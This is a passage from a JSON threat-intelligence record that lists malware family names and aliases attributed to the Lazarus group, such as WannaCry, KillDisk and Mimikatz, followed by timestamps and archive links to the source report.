				"Http Dr0pper",
				"ICONICSTEALER",
				"Joanap",
				"Jokra",
				"KANDYKORN",
				"KEYMARBLE",
				"Kaos",
				"KillDisk",
				"KillMBR",
				"Koredos",
				"Krademok",
				"LIGHTSHIFT",
				"LIGHTSHOW",
				"LOLBAS",
				"LOLBins",
				"Lazarus",
				"LightlessCan",
				"Living off the Land",
				"MATA",
				"MBRkiller",
				"MagicRAT",
				"Manuscrypt",
				"Mimail",
				"Mimikatz",
				"Moudour",
				"Mydoom",
				"Mydoor",
				"Mytob",
				"NACHOCHEESE",
				"NachoCheese",
				"NestEgg",
				"NickelLoader",
				"NineRAT",
				"Novarg",
				"NukeSped",
				"OpBlockBuster",
				"PCRat",
				"PEBBLEDASH",
				"PLANKWALK",
				"POOLRAT",
				"PSLogger",
				"PhanDoor",
				"Plink",
				"PondRAT",
				"PowerBrace",
				"PowerRatankba",
				"PowerShell RAT",
				"PowerSpritz",
				"PowerTask",
				"Preft",
				"ProcDump",
				"Proxysvc",
				"PuTTY Link",
				"QUICKRIDE",
				"QUICKRIDE.POWER",
				"Quickcafe",
				"QuiteRAT",
				"R-C1",
				"ROptimizer",
				"Ratabanka",
				"RatabankaPOS",
				"Ratankba",
				"RatankbaPOS",
				"RawDisk",
				"RedShawl",
				"Rifdoor",
				"Rising Sun",
				"Romeo-CoreOne",
				"RomeoAlfa",
				"RomeoBravo",
				"RomeoCharlie",
				"RomeoCore",
				"RomeoDelta",
				"RomeoEcho",
				"RomeoFoxtrot",
				"RomeoGolf",
				"RomeoHotel",
				"RomeoMike",
				"RomeoNovember",
				"RomeoWhiskey",
				"Romeos",
				"RustBucket",
				"SHADYCAT",
				"SHARPKNOT",
				"SIGFLIP",
				"SIMPLESEA",
				"SLICKSHOES",
				"SORRYBRUTE",
				"SUDDENICON",
				"SUGARLOADER",
				"SheepRAT",
				"SierraAlfa",
				"SierraBravo",
				"SierraCharlie",
				"SierraJuliett-MikeOne",
				"SierraJuliett-MikeTwo",
				"SimpleTea",
				"SimplexTea",
				"SmallTiger",
				"Stunnel",
				"TAINTEDSCRIBE",
				"TAXHAUL",
				"TFlower",
				"TOUCHKEY",
				"TOUCHMOVE",
				"TOUCHSHIFT",
				"TOUCHSHOT",
				"TWOPENCE",
				"TYPEFRAME",
				"Tdrop",
				"Tdrop2",
				"ThreatNeedle",
				"Tiger RAT",
				"TigerRAT",
				"Trojan Manuscript",
				"Troy",
				"TroyRAT",
				"VEILEDSIGNAL",
				"VHD",
				"VHD Ransomware",
				"VIVACIOUSGIFT",
				"VSingle",
				"ValeforBeta",
				"Volgmer",
				"Vyveva",
				"W1_RAT",
				"Wana Decrypt0r",
				"WanaCry",
				"WanaCrypt",
				"WanaCrypt0r",
				"WannaCry",
				"WannaCrypt",
				"WannaCryptor",
				"WbBot",
				"Wcry",
				"Win32/KillDisk.NBB",
				"Win32/KillDisk.NBC",
				"Win32/KillDisk.NBD",
				"Win32/KillDisk.NBH",
				"Win32/KillDisk.NBI",
				"WinorDLL64",
				"Winsec",
				"WolfRAT",
				"Wormhole",
				"YamaBot",
				"Yort",
				"ZetaNile",
				"concealment_troy",
				"http_troy",
				"httpdr0pper",
				"httpdropper",
				"klovbot",
				"sRDI"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434405,
	"ts_updated_at": 1775792300,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/80112c9b28a17048a95a991f3251c5eb21c6423a.pdf",
		"text": "https://archive.orkl.eu/80112c9b28a17048a95a991f3251c5eb21c6423a.txt",
		"img": "https://archive.orkl.eu/80112c9b28a17048a95a991f3251c5eb21c6423a.jpg"
	}
}